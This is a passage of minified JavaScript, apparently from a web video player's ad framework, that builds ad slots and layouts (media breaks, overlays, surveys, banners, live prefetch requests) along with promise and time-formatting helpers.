XA=function(x,T,t,u,H){var I=N8X(u);return Jxi(T,t,u,new sn(I),H,x.Z.get())};
C03=function(x,T,t,u,H){var I=N8X(u);I.push(new QP(u.Pz));I.push(new pO(u.Hz));return Jxi(T,t,u,new sn(I),H,x.Z.get())};
Ab=function(x,T,t,u,H,I,E,Z,e,l){T=On(x.Z.get(),t,T);var m={layoutId:T,layoutType:t,Yc:"core"},d=new Map;E&&d.set("impression",E);E=[new B1(x.C,H,"SLOT_TYPE_PLAYER_BYTES","LAYOUT_TYPE_MEDIA")];l&&E.push(new hO(x.C,l,["normal"]));return{layoutId:T,layoutType:t,uN:d,layoutExitNormalTriggers:E,layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:new sn([u,new O7(I),new et(H)]),FV:Z(m),adLayoutLoggingData:e}};
R8=function(x,T,t,u,H,I,E,Z,e){T=On(x.Z.get(),t,T);var l={layoutId:T,layoutType:t,Yc:"core"},m=[new B1(x.C,H,"SLOT_TYPE_PLAYER_BYTES","LAYOUT_TYPE_MEDIA")];e&&m.push(new hO(x.C,e,["normal"]));return{layoutId:T,layoutType:t,uN:new Map,layoutExitNormalTriggers:m,layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:new sn([u,new O7(I),new et(H)]),FV:E(l),adLayoutLoggingData:Z}};
E8=function(x,T,t){var u=[];u.push(new W1(x.C,t));T&&u.push(T);return u};
I8=function(x,T,t,u,H,I,E){var Z={layoutId:T,layoutType:t,Yc:"core"};return{layoutId:T,layoutType:t,uN:new Map,layoutExitNormalTriggers:E,layoutExitSkipTriggers:[new rL(x.C,T)],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:new sn([new yP(u),new O7(H)]),FV:I(Z),adLayoutLoggingData:u.adLayoutLoggingData}};
OF=function(x,T,t,u,H,I,E,Z){var e={layoutId:T,layoutType:I,Yc:"core"};return{layoutId:T,layoutType:I,uN:new Map,layoutExitNormalTriggers:[new v1(x.C,t)],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:new sn([new O7(u)].concat(g.U(E))),FV:H(e),adLayoutLoggingData:Z}};
ZW=function(x,T,t,u){if(x.Lf.get().T3(T.kind==="AD_PLACEMENT_KIND_START"))if(t===void 0)E3("Expected SSAP layout ID in renderer",void 0,void 0,{caller:u});else return t};
flJ=function(x,T,t,u,H,I,E,Z,e,l,m,d,M){x=qT(x,T,t,H,I,E,Z,e,d,ZW(x,t,u.layoutId,"createSubLayoutVodSkippableMediaBreakLayoutForEndcap"),M);T=x.Eh;t=new l0(x.I0);u=x.layoutExitSkipTriggers;l>0&&(T.push(t),T.push(new KO(l)),u=[]);T.push(new w3(m));return{BU:{layoutId:x.layoutId,layoutType:x.layoutType,uN:x.uN,layoutExitNormalTriggers:[],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:x.Yc,clientMetadata:new sn(T),FV:x.FV,adLayoutLoggingData:x.adLayoutLoggingData},
Qh:u,ut:x.layoutExitMuteTriggers,Kq:x.layoutExitUserInputSubmittedTriggers,je:x.Aq,Wt:x.Wt}};
xci=function(x,T,t,u,H,I,E,Z,e,l){T=qT(x,T,t,u,I,new Map,E,function(m){return Z(m,e)},void 0,ZW(x,t,H.layoutId,"createSubLayoutVodSkippableMediaBreakLayoutForVodSurvey"));
x=new KV(x.C,T.I0);t=new l0(T.I0);l=new w3(l);return{BU:{layoutId:T.layoutId,layoutType:T.layoutType,uN:T.uN,layoutExitNormalTriggers:[],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:T.Yc,clientMetadata:new sn([].concat(g.U(T.Eh),[t,l])),FV:T.FV,adLayoutLoggingData:T.adLayoutLoggingData},Qh:T.layoutExitSkipTriggers,ut:T.layoutExitMuteTriggers,Kq:[].concat(g.U(T.layoutExitUserInputSubmittedTriggers),[x]),je:T.Aq,Wt:T.Wt}};
qT=function(x,T,t,u,H,I,E,Z,e,l,m){T=l!=null?l:On(x.Z.get(),"LAYOUT_TYPE_MEDIA_BREAK",T);l={layoutId:T,layoutType:"LAYOUT_TYPE_MEDIA_BREAK",Yc:"adapter"};Z=Z(T);var d=uS(Z.clientMetadata,"metadata_type_fulfilled_layout");d||E3("Could not retrieve overlay layout ID during VodSkippableMediaBreakLayout creation. This should never happen.");var M=d?d.layoutId:"";t=[new O7(t),new Wl(u),new Nc(H)];d&&t.push(new d8(d.layoutType));m&&t.push(new F7(m));return{layoutId:T,layoutType:"LAYOUT_TYPE_MEDIA_BREAK",
uN:I,layoutExitNormalTriggers:[],layoutExitSkipTriggers:[new JO(x.C,M)],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"adapter",Eh:t,FV:E(l),adLayoutLoggingData:e,Wt:Z,I0:M}};
jOf=function(x,T,t,u,H,I,E,Z,e,l,m){x=QHD(x,T,"core",t,u,H,I,E,Z,e,l,void 0,m);return{layoutId:x.layoutId,layoutType:x.layoutType,uN:x.uN,layoutExitNormalTriggers:x.layoutExitNormalTriggers,layoutExitSkipTriggers:x.layoutExitSkipTriggers,layoutExitMuteTriggers:x.layoutExitMuteTriggers,layoutExitUserInputSubmittedTriggers:x.layoutExitUserInputSubmittedTriggers,Aq:x.Aq,Yc:x.Yc,clientMetadata:new sn(x.Mw),FV:x.FV,adLayoutLoggingData:x.adLayoutLoggingData}};
qvV=function(x,T,t,u,H,I,E,Z,e,l,m,d,M){T=QHD(x,T,"adapter",t,u,H,I,E,Z,e,m,d,M);u=T.layoutExitSkipTriggers;H=T.Mw;t.adPodSkipTarget&&t.adPodSkipTarget>0&&(H.push(l),H.push(new KO(t.adPodSkipTarget)),u=[]);H.push(new w3(Z.adPodIndex));t.isCritical&&(u=[new hO(x.C,T.layoutId,["error"])].concat(g.U(u)));return{BU:{layoutId:T.layoutId,layoutType:T.layoutType,uN:T.uN,layoutExitNormalTriggers:[],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:T.Yc,clientMetadata:new sn(H),
FV:T.FV,adLayoutLoggingData:T.adLayoutLoggingData},Qh:u,ut:T.layoutExitMuteTriggers,Kq:T.layoutExitUserInputSubmittedTriggers,je:T.Aq}};
QHD=function(x,T,t,u,H,I,E,Z,e,l,m,d,M){var A={layoutId:T,layoutType:"LAYOUT_TYPE_MEDIA",Yc:t};H=[new O7(H),new fO(e),new xt(u.externalVideoId),new TX(Z),new Nc({impressionCommands:u.impressionCommands,abandonCommands:u.onAbandonCommands,completeCommands:u.completeCommands,progressCommands:u.adVideoProgressCommands}),new Uv(I),new RH({current:null}),new Yt(E)];(I=u.playerOverlay.instreamAdPlayerOverlayRenderer)&&H.push(new oH(I));(E=u.playerOverlay.playerOverlayLayoutRenderer)&&H.push(new tx(E));
d&&H.push(new b0(d));(d=u.playerUnderlay)&&H.push(new u0(d));Z=d6(x.Z.get(),"SLOT_TYPE_IN_PLAYER");d=(d=I?I.elementId:E==null?void 0:E.layoutId)?d:On(x.Z.get(),"LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY",Z);H.push(new l0(d));H.push(new Mc(Z));H.push(new F7(e.adPodIndex));u.adNextParams&&H.push(new WC(u.adNextParams));u.shrunkenPlayerBytesConfig&&H.push(new i0(u.shrunkenPlayerBytesConfig));u.clickthroughEndpoint&&H.push(new Dl(u.clickthroughEndpoint));u.legacyInfoCardVastExtension&&H.push(new D4(u.legacyInfoCardVastExtension));
u.sodarExtensionData&&H.push(new r8(u.sodarExtensionData));m&&H.push(new g8(m));H.push(new QC(bB(u.pings)));e=r6(u.pings);if(M){a:{M=g.S(M);for(m=M.next();!m.done;m=M.next())if(m=m.value,m.adSlotMetadata.slotType==="SLOT_TYPE_PLAYER_UNDERLAY"&&(I=g.N(m.fulfillmentContent.fulfilledLayout,kY))&&(I=g.N(I.renderingContent,rz))&&I.associatedPlayerBytesLayoutId===T){M=m;break a}M=void 0}M&&H.push(new $t(M))}return{layoutId:T,layoutType:"LAYOUT_TYPE_MEDIA",uN:e,layoutExitNormalTriggers:[new Df(x.C,T)],layoutExitSkipTriggers:u.skipOffsetMilliseconds?
[new JO(x.C,d)]:[],layoutExitMuteTriggers:[new JO(x.C,d)],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:t,Mw:H,FV:l(A),adLayoutLoggingData:u.adLayoutLoggingData}};
tG4=function(x,T,t,u,H,I,E,Z,e){u.every(function(m){return TZ(m,[],["LAYOUT_TYPE_MEDIA"])})||E3("Unexpect subLayout type for DAI composite layout");
T=On(x.Z.get(),"LAYOUT_TYPE_COMPOSITE_PLAYER_BYTES",T);var l={layoutId:T,layoutType:"LAYOUT_TYPE_COMPOSITE_PLAYER_BYTES",Yc:"core"};return{layoutId:T,layoutType:"LAYOUT_TYPE_COMPOSITE_PLAYER_BYTES",uN:new Map,layoutExitNormalTriggers:[new Vk(x.C)],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:new sn([new zX(t),new kt(Z),new St(u),new O7(H),new GX(I),new hx({}),new Ov(e)]),FV:E(l)}};
KiJ=function(x){return x!=null};
xI=function(x,T,t){var u=this;this.Z=x;this.j=T;this.Lf=t;this.C=function(H){return HA(u.Z.get(),H)}};
R63=function(x,T,t,u,H,I,E){if(!t.prefetchModeConfig)return new w("AdPlacementConfig for Live Prefetch is missing prefetch_config");t=t.prefetchModeConfig;u*=1E3;var Z=[];if(!t.breakLengthMs)return new w("AdPlacementConfig for Live Prefetch is missing break_length_ms");for(var e=g.S(t.breakLengthMs),l=e.next();!l.done;l=e.next())if(l=l.value,Number(l)>0){var m=u+Number(t.startTimeOffsetMs),d=m+Number(t.cacheFetchSmearingDurationMs);l={K7:new SW(d,d+Number(l)),yd:!1,yv:new SW(Math.floor(m+Math.random()*
Number(t.cacheFetchSmearingDurationMs)),d),cueProcessedMs:u?u:m};m=[];m.push(new X7({}));d=[];d.push(new NU(x.C));d.push(new NOq(x.C));E&&m.push(new hx({}));Z.push(Wb(x,T,H,l,I,m,d))}return Z};
Wb=function(x,T,t,u,H,I,E){I=I===void 0?[]:I;E=E===void 0?[]:E;var Z=d6(x.Z.get(),"SLOT_TYPE_AD_BREAK_REQUEST"),e=[];E=g.S(E);for(var l=E.next();!l.done;l=E.next())e.push(l.value);u.yv&&u.yv.start!==u.K7.start&&e.push(new aM(x.C,t,new SW(u.yv.start,u.K7.start),!1));e.push(new aM(x.C,t,new SW(u.K7.start,u.K7.end),u.yd));u={getAdBreakUrl:T.getAdBreakUrl,CA:u.K7.start,Sm:u.K7.end,cueProcessedMs:u.cueProcessedMs};T=new OO(x.C,Z);I=[new nc(u)].concat(g.U(I));return{slotId:Z,slotType:"SLOT_TYPE_AD_BREAK_REQUEST",
slotPhysicalPosition:1,slotEntryTrigger:T,slotFulfillmentTriggers:e,slotExpirationTriggers:[new yk(x.C,t),new Qk(x.C,Z),new pV(x.C,Z)],Yc:"core",clientMetadata:new sn(I),adSlotLoggingData:H}};
Oci=function(x,T,t){var u=[];t=g.S(t);for(var H=t.next();!H.done;H=t.next())u.push(plf(x,T,H.value));return u};
plf=function(x,T,t){return t.triggeringSlotId!=null&&t.triggeringSlotId===x?t.clone(T):t};
WiX=function(x,T,t,u,H){return f4q(x,T,t,u,H)};
wCf=function(x,T,t,u){var H=d6(x.Z.get(),"SLOT_TYPE_IN_PLAYER");return f4q(x,H,T,t,u)};
f4q=function(x,T,t,u,H){var I=new FN(x.C,t),E=[new CV(x.C,T)];x=[new Qk(x.C,T),new yk(x.C,u)];return{slotId:T,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,slotEntryTrigger:I,slotFulfillmentTriggers:E,slotExpirationTriggers:x,Yc:"core",clientMetadata:new sn([new Lc(H({slotId:T,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:I,slotFulfillmentTriggers:E,slotExpirationTriggers:x},t))]),adSlotLoggingData:void 0}};
Zc5=function(x,T,t,u,H,I){var E=d6(x.Z.get(),"SLOT_TYPE_PLAYER_BYTES"),Z=d6(x.Z.get(),"SLOT_TYPE_IN_PLAYER"),e=On(x.Z.get(),"LAYOUT_TYPE_SURVEY",Z);u=T4(x,T,t,u);var l=[new CV(x.C,E)];t=[new Qk(x.C,E),new yk(x.C,t),new rL(x.C,e)];if(u instanceof w)return u;Z=I({slotId:E,slotType:"SLOT_TYPE_PLAYER_BYTES",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:u,slotFulfillmentTriggers:l,slotExpirationTriggers:t},{slotId:Z,layoutId:e});I=Z.QfZ;Z=Z.ByQ;return[{slotId:E,slotType:"SLOT_TYPE_PLAYER_BYTES",slotPhysicalPosition:1,
slotEntryTrigger:es(x,T,E,u),slotFulfillmentTriggers:ln(x,T,E,l),slotExpirationTriggers:t,Yc:"core",clientMetadata:new sn([new Lc(I),new fc(mk(T)),new Kc({hK:x.hK(T)})]),adSlotLoggingData:H},Z]};
mk=function(x){return x.kind==="AD_PLACEMENT_KIND_START"};
eQJ=function(x,T,t,u,H){H=H?H:d6(x.Z.get(),"SLOT_TYPE_IN_PLAYER");t=new FN(x.C,t);var I=[new CV(x.C,H)];x=[new yk(x.C,T),new Qk(x.C,H)];return{slotId:H,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,slotEntryTrigger:t,slotFulfillmentTriggers:I,slotExpirationTriggers:x,Yc:"core",clientMetadata:new sn([new Lc(u({slotId:H,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:t,slotFulfillmentTriggers:I,slotExpirationTriggers:x}))])}};
ll5=function(x,T,t,u){var H=d6(x.Z.get(),"SLOT_TYPE_PLAYER_UNDERLAY");t=new FN(x.C,t);var I=[new CV(x.C,H)];x=[new yk(x.C,T),new Qk(x.C,H)];return{slotId:H,slotType:"SLOT_TYPE_PLAYER_UNDERLAY",slotPhysicalPosition:1,slotEntryTrigger:t,slotFulfillmentTriggers:I,slotExpirationTriggers:x,Yc:"core",clientMetadata:new sn([new Lc(u({slotId:H,slotType:"SLOT_TYPE_PLAYER_UNDERLAY",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:t,slotFulfillmentTriggers:I,slotExpirationTriggers:x}))])}};
$lJ=function(x,T,t,u,H,I,E){var Z=d6(x.Z.get(),"SLOT_TYPE_IN_PLAYER"),e=On(x.Z.get(),"LAYOUT_TYPE_TEXT_BANNER_OVERLAY",Z);u=wlv(x,u,I,E,e);if(u instanceof w)return u;E=[new CV(x.C,Z)];H=[new yk(x.C,I),new CV(x.C,H),new wL(x.C,H)];t=qN(t,{slotId:Z,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:u,slotFulfillmentTriggers:E,slotExpirationTriggers:H});x=x.j.get();I={layoutId:e,layoutType:"LAYOUT_TYPE_TEXT_BANNER_OVERLAY",Yc:"core"};T={layoutId:e,layoutType:"LAYOUT_TYPE_TEXT_BANNER_OVERLAY",
uN:new Map,layoutExitNormalTriggers:[new KwH(x.C,e,T.durationMs)],layoutExitSkipTriggers:[new xiv(x.C,e,T.durationMs)],Aq:[new XMf(x.C,e)],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Yc:"core",clientMetadata:new sn([new yC(T)]),FV:t(I)};return{slotId:Z,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:u,slotFulfillmentTriggers:E,slotExpirationTriggers:H,clientMetadata:new sn([new Lc(T)])}};
pCi=function(x,T,t,u,H,I){T=T4(x,T,t,u);if(T instanceof w)return T;var E=T instanceof aM?new Olv(x.C,t,T.C):null;u=d6(x.Z.get(),"SLOT_TYPE_IN_PLAYER");var Z=[new CV(x.C,u)];x=[new yk(x.C,t),new Qk(x.C,u)];I=I({slotId:u,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:T,slotFulfillmentTriggers:Z,slotExpirationTriggers:x},E);return I instanceof th?new w(I):{slotId:u,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,slotEntryTrigger:T,slotFulfillmentTriggers:Z,slotExpirationTriggers:x,
Yc:"core",clientMetadata:new sn([new Lc(I)]),adSlotLoggingData:H}};
C1X=function(x,T,t,u){var H=d6(x.Z.get(),"SLOT_TYPE_IN_PLAYER"),I=new b_(x.C,T),E=[new fV(x.C,H)];x=[new yk(x.C,T),new Qk(x.C,H)];return{slotId:H,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,slotEntryTrigger:I,slotFulfillmentTriggers:E,slotExpirationTriggers:x,Yc:"core",clientMetadata:new sn([new Lc(u({slotId:H,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:I,slotFulfillmentTriggers:E,slotExpirationTriggers:x}))]),adSlotLoggingData:t}};
QfC=function(x,T,t,u){var H=d6(x.Z.get(),"SLOT_TYPE_IN_PLAYER");t=new FN(x.C,t);var I=[new CV(x.C,H)],E=[new Qk(x.C,H),new yk(x.C,T)];I={slotId:H,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:t,slotFulfillmentTriggers:I,slotExpirationTriggers:E};return{slotId:H,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,slotEntryTrigger:t,slotFulfillmentTriggers:[new CV(x.C,H)],slotExpirationTriggers:[new yk(x.C,T),new Qk(x.C,H)],Yc:"core",clientMetadata:new sn([new Lc(u(I))])}};
NK3=function(x,T,t,u,H){var I=d6(x.Z.get(),"SLOT_TYPE_IN_PLAYER");t=new k_(x.C,u,t);u=[new CV(x.C,I)];x=[new yk(x.C,T)];return{slotId:I,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,slotEntryTrigger:t,slotFulfillmentTriggers:u,slotExpirationTriggers:x,Yc:"core",clientMetadata:new sn([new Lc(H({slotId:I,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:t,slotFulfillmentTriggers:u,slotExpirationTriggers:x}))])}};
a74=function(x,T,t,u,H,I){var E=d6(x.Z.get(),T);return oa(x,E,T,new FN(x.C,u),[new yk(x.C,t),new Qk(x.C,E),new hO(x.C,u,["error"])],H,I)};
ngD=function(x,T,t,u,H,I,E){var Z=d6(x.Z.get(),T);return oa(x,Z,T,new hO(x.C,H,["normal"]),[new yk(x.C,t),new Qk(x.C,Z),new hO(x.C,u,["error"])],I,E)};
vgH=function(x,T,t,u,H){var I=d6(x.Z.get(),T);return oa(x,I,T,new b_(x.C,t),[new yk(x.C,t),new Qk(x.C,I)],u,H)};
Dlm=function(x,T,t,u,H){t=t?"SLOT_TYPE_PLAYER_BYTES_SEQUENCE_ITEM":"SLOT_TYPE_PLAYBACK_TRACKING";var I=d6(x.Z.get(),t);T=new b_(x.C,T);var E=[new CV(x.C,I)];x=[new Qk(x.C,I)];return{slotId:I,slotType:t,slotPhysicalPosition:1,slotEntryTrigger:T,slotFulfillmentTriggers:E,slotExpirationTriggers:x,Yc:"core",clientMetadata:new sn([new Lc(H({slotId:I,slotType:t,slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:T,slotFulfillmentTriggers:E,slotExpirationTriggers:x}))]),adSlotLoggingData:u}};
X5D=function(x,T,t,u){var H=d6(x.Z.get(),"SLOT_TYPE_PLAYER_BYTES"),I=new nV(x.C),E=[new fV(x.C,H)];x=[new yk(x.C,T)];return{slotId:H,slotType:"SLOT_TYPE_PLAYER_BYTES",slotPhysicalPosition:1,slotEntryTrigger:I,slotFulfillmentTriggers:E,slotExpirationTriggers:x,Yc:"core",clientMetadata:new sn([new Lc(u({slotId:H,slotType:"SLOT_TYPE_PLAYER_BYTES",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:I,slotFulfillmentTriggers:E,slotExpirationTriggers:x})),new hx({})]),adSlotLoggingData:t}};
Hc4=function(x,T){return MtC(x.Lf.get())?new hO(x.C,T,["normal","error","skipped"]):new hO(x.C,T,["normal"])};
EQv=function(x,T,t,u,H){T=Hc4(x,T);x=js(x,T,t);H=H({slotId:x.slotId,slotType:x.slotType,slotPhysicalPosition:x.slotPhysicalPosition,slotEntryTrigger:x.slotEntryTrigger,slotFulfillmentTriggers:x.slotFulfillmentTriggers,slotExpirationTriggers:x.slotExpirationTriggers,Yc:x.Yc});return H instanceof w?H:{Tu:Object.assign({},x,{clientMetadata:new sn([new Lc(H.layout)]),adSlotLoggingData:u}),nF:H.nF}};
q7i=function(x,T,t,u,H,I,E){t=ic5(x,T,t,u);if(t instanceof w)return t;E=E({slotId:t.slotId,slotType:t.slotType,slotPhysicalPosition:t.slotPhysicalPosition,slotEntryTrigger:t.slotEntryTrigger,slotFulfillmentTriggers:t.slotFulfillmentTriggers,slotExpirationTriggers:t.slotExpirationTriggers,Yc:t.Yc});if(E instanceof w)return E;u=[new fc(mk(T)),new Lc(E.layout),new Kc({hK:x.hK(T)})];I&&u.push(new Jx({}));return{Tu:{slotId:t.slotId,slotType:t.slotType,slotPhysicalPosition:t.slotPhysicalPosition,slotEntryTrigger:es(x,
T,t.slotId,t.slotEntryTrigger),slotFulfillmentTriggers:ln(x,T,t.slotId,t.slotFulfillmentTriggers),slotExpirationTriggers:t.slotExpirationTriggers,Yc:t.Yc,clientMetadata:new sn(u),adSlotLoggingData:H},nF:E.nF}};
es=function(x,T,t,u){return x.Lf.get().T3(mk(T))?new Y_(x.C,t):u};
ln=function(x,T,t,u){return x.Lf.get().T3(mk(T))?[new fV(x.C,t)]:u};
js=function(x,T,t){var u=d6(x.Z.get(),"SLOT_TYPE_PLAYER_BYTES"),H=[new CV(x.C,u)];x=[new Qk(x.C,u),new yk(x.C,t)];return{slotId:u,slotType:"SLOT_TYPE_PLAYER_BYTES",slotPhysicalPosition:1,slotEntryTrigger:T,slotFulfillmentTriggers:H,slotExpirationTriggers:x,Yc:"core"}};
ic5=function(x,T,t,u){T=T4(x,T,t,u);return T instanceof w?T:js(x,T,t)};
N3V=function(x,T,t,u,H,I){var E=d6(x.Z.get(),"SLOT_TYPE_FORECASTING");T=T4(x,T,t,u);if(T instanceof w)return T;u=[new CV(x.C,E)];x=[new Qk(x.C,E),new yk(x.C,t)];return{slotId:E,slotType:"SLOT_TYPE_FORECASTING",slotPhysicalPosition:1,slotEntryTrigger:T,slotFulfillmentTriggers:u,slotExpirationTriggers:x,Yc:"core",clientMetadata:new sn([new Lc(I({slotId:E,slotType:"SLOT_TYPE_FORECASTING",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:T,slotFulfillmentTriggers:u,slotExpirationTriggers:x}))]),adSlotLoggingData:H}};
KbH=function(x,T,t,u,H){var I=!T.hideCueRangeMarker;switch(T.kind){case "AD_PLACEMENT_KIND_START":return new b_(x.C,t);case "AD_PLACEMENT_KIND_MILLISECONDS":return x=z14(T,u),x instanceof w?x:H(x.K7,I);case "AD_PLACEMENT_KIND_END":return new zf(x.C,t,I);default:return new w("Cannot construct entry trigger",{kind:T.kind})}};
wlv=function(x,T,t,u,H){return KbH(x,T,t,u,function(I,E){return new pM3(x.C,t,I,E,H)})};
T4=function(x,T,t,u){return KbH(x,T,t,u,function(H,I){return new aM(x.C,t,H,I)})};
oa=function(x,T,t,u,H,I,E){x=[new fV(x.C,T)];return{slotId:T,slotType:t,slotPhysicalPosition:1,slotEntryTrigger:u,slotFulfillmentTriggers:x,slotExpirationTriggers:H,Yc:"core",clientMetadata:new sn([new Lc(E({slotId:T,slotType:t,slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:u,slotFulfillmentTriggers:x,slotExpirationTriggers:H}))]),adSlotLoggingData:I}};
tX=function(x,T){g.W.call(this);this.Lf=x;this.C=T;this.eventCount=0};
sk=function(x,T,t,u){tX.call(this,x,T);this.Lf=x;this.Bv=t;this.context=u};
uk=function(){this.C=new Map};
ik=function(x,T){var t=this;this.currentState="wait";this.onSuccess=[];this.onFailure=[];this.currentState=x;this.result=T.result;this.error=T.error;T.promise&&T.promise.then(function(u){$I(t,u)},function(u){HZ(t,u)})};
q8=function(x){if(Ia(x)){if(x instanceof ik)return x;if(Ek(x))return new ik("wait",{promise:x})}return new ik("done",{result:x})};
ZR=function(){return new ik("wait",{})};
jv=function(x){return new ik("fail",{error:x})};
ev=function(x){try{return q8(x())}catch(T){return jv(T)}};
mH=function(x,T){var t=ZR();x.onSuccess.push(function(u){try{var H=T(u);$I(t,H)}catch(I){HZ(t,I)}});
x.onFailure.push(function(u){HZ(t,u)});
lk(x);return t};
dI=function(x,T){var t=ZR();x.onSuccess.push(function(u){$I(t,u)});
x.onFailure.push(function(u){try{var H=T(u);$I(t,H)}catch(I){HZ(t,I)}});
lk(x);return t};
XlH=function(x,T){var t=ZR();x.onSuccess.push(function(u){try{T(),$I(t,u)}catch(H){HZ(t,H)}});
x.onFailure.push(function(u){try{T(),HZ(t,u)}catch(H){HZ(t,H)}});
lk(x)};
$I=function(x,T){if(Ia(T)){if(Ek(T)){T.then(function(t){$I(x,t)},function(t){HZ(x,t)});
return}if(T instanceof ik){mH(T,function(t){$I(x,t)});
dI(T,function(t){HZ(x,t)});
return}}x.currentState="done";x.result=T;lk(x)};
HZ=function(x,T){x.currentState="fail";x.error=T;lk(x)};
lk=function(x){if(x.currentState==="done"){var T=x.onSuccess;x.onSuccess=[];x.onFailure=[];T=g.S(T);for(var t=T.next();!t.done;t=T.next())t=t.value,t(x.result)}else if(x.currentState==="fail")for(T=x.onFailure,x.onSuccess=[],x.onFailure=[],T=g.S(T),t=T.next();!t.done;t=T.next())t=t.value,t(x.error)};
Tiq=function(x){return function(){return xN4(x.apply(this,g.FD.apply(0,arguments)))}};
xN4=function(x){return ev(function(){return M8(x,x.next())})};
M8=function(x,T){return T.done?q8(T.value):dI(mH(T.value.zd,function(t){return M8(x,x.next(t))}),function(t){return M8(x,x.throw(t))})};
ov4=function(x,T){if(x.length===0)return q8(NaN);var t=ZR(),u=x.length;x.forEach(function(H,I){XlH(q8(H),function(){t.currentState==="wait"&&(T!==void 0&&T(I)&&t.currentState==="wait"?t.resolve(I):(--u,u===0&&t.resolve(NaN)))})});
return t};
tdJ=function(x){return x.map(function(T){return q8(T)})};
Ra=function(x){var T=x.hours||0;var t=x.minutes||0,u=x.seconds||0;T=u+t*60+T*3600+(x.days||0)*86400+(x.weeks||0)*604800+(x.months||0)*2629800+(x.years||0)*31557600;T<=0?T={hours:0,minutes:0,seconds:0}:(x=T,T=Math.floor(x/3600),x%=3600,t=Math.floor(x/60),u=Math.floor(x%60),T={hours:T,minutes:t,seconds:u});var H=T.hours===void 0?0:T.hours;t=T.minutes===void 0?0:T.minutes;x=T.seconds===void 0?0:T.seconds;u=H>0;T=[];if(u){H=(new Intl.NumberFormat("en-u-nu-latn")).format(H);var I=["fr"],E="az bs ca da de el es eu gl hr id is it km lo mk nl pt-BR ro sl sr sr-Latn tr vi".split(" ");
H="af be bg cs et fi fr-CA hu hy ka kk ky lt lv no pl pt-PT ru sk sq sv uk uz".split(" ").includes(AX)?H.replace(",","\u00a0"):I.includes(AX)?H.replace(",","\u202f"):E.includes(AX)?H.replace(",","."):H;T.push(H)}u=u===void 0?!1:u;t=(["af","be","lt"].includes(AX)||u)&&t<10?sTi().format(t):(new Intl.NumberFormat("en-u-nu-latn")).format(t);T.push(t);t=sTi().format(x);T.push(t);t=":";"da fi id si sr sr-Latn".split(" ").includes(AX)&&(t=".");return T.join(t)};
sTi=function(){return new Intl.NumberFormat("en-u-nu-latn",{minimumIntegerDigits:2})};
ucV=function(x,T){var t,u;x=((t=x.watchEndpointSupportedAuthorizationTokenConfig)==null?void 0:(u=t.videoAuthorizationToken)==null?void 0:u.credentialTransferTokens)||[];for(t=0;t<x.length;++t)if(x[t].scope===T)return x[t].token||void 0};
PZ=function(x){if(x&&x.simpleText)return x.simpleText;var T="";if(x&&x.runs)for(var t=0;t<x.runs.length;t++)x.runs[t].text&&(T+=x.runs[t].text);return T};
Sv=function(x){return x?function(){try{return x.apply(this,arguments)}catch(T){g.vW(T)}}:x};
cZ=function(){this.j=new Set;this.Z=new Set;this.K=new Map;this.client=void 0;this.csn=null};
YI=function(){cZ.instance||(cZ.instance=new cZ);return cZ.instance};
Uk=function(){};
bk=function(){this.N=[];this.J=[];this.C=[];this.jY=[];this.T=[];this.S=[];this.j=new Map;this.D=new Map;this.Z=new Set;this.uG=new Map};
rI=function(){bk.instance||(bk.instance=new bk);return bk.instance};
z4=function(x,T,t,u){u=u===void 0?{}:u;g.Kr(function(){$NJ.includes(T)||(g.Vh(new g.CS("createClientScreen() called with a non-page VE",T)),T=83769);u.isHistoryNavigation||(x.jY=[],x.C.push({rootVe:T,key:u.key||""}));x.N=[];x.J=[];u.pw?HG4(x,T,t,u):iGJ(x,T,t,u)})()};
